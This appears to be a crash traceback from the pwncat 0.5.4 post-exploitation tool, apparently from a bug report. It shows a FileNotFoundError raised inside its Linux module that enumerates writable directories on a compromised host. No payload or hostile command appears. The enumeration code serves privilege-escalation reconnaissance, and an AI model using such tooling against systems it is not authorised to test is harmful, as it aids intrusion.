│ │ │ │ │ if not isinstance(item, Status): │ │ 242 │ │ │ │ │ │ │ │ results.append(item) │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/enumerate.py:25 │ │ 9 in run │ │ │ │ 256 │ │ if self._check_complete(session): │ │ 257 │ │ │ return │ │ 258 │ │ │ │ ❱ 259 │ │ for item in self.enumerate(session): │ │ 260 │ │ │ │ │ 261 │ │ │ # Allow non-fact status updates │ │ 262 │ │ │ if isinstance(item, Status): │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/linux/enumerate │ │ /misc/writable_path.py:45 in enumerate │ │ │ │ 42 │ │ │ │ │ 43 │ │ │ # See if we have write permission │ │ 44 │ │ │ if path.is_dir() and path.writable(): │ │ ❱ 45 │ │ │ │ yield WritablePath(self.name, str(path.resolve())) │ │ 46 │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/init.py:35 │ │ 1 in resolve │ │ │ │ 348 │ def resolve(self, strict: bool = False): │ │ 349 │ │ """Resolve the current path into an absolute path""" │ │ 350 │ │ │ │ ❱ 351 │ │ return self.class(self._target.abspath(str(self))) │ │ 352 │ │ │ 353 │ def rglob(self, pattern: str) -> Generator["Path", None, None]: │ │ 354 │ │ r"""This is like calling Path.glob() with "**/" added to in │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/linux.py:1833 │ │ in abspath │ │ │ │ 1830 │ │ │ ) │ │ 1831 │ │ │ return result.stdout.rstrip("\n") │ │ 1832 │ │ except CalledProcessError as exc: │ │ ❱ 1833 │ │ │ raise FileNotFoundError(path) from exc │ │ 1834 │ │ │ 1835 │ def readlink(self, path: str): │ │ 1836 │ │ """Attempt to read the target of a link""" │ ╰──────────────────────────────────────────────────────────────────────────────╯ FileNotFoundError: .
$ pwncat --version 0.5.4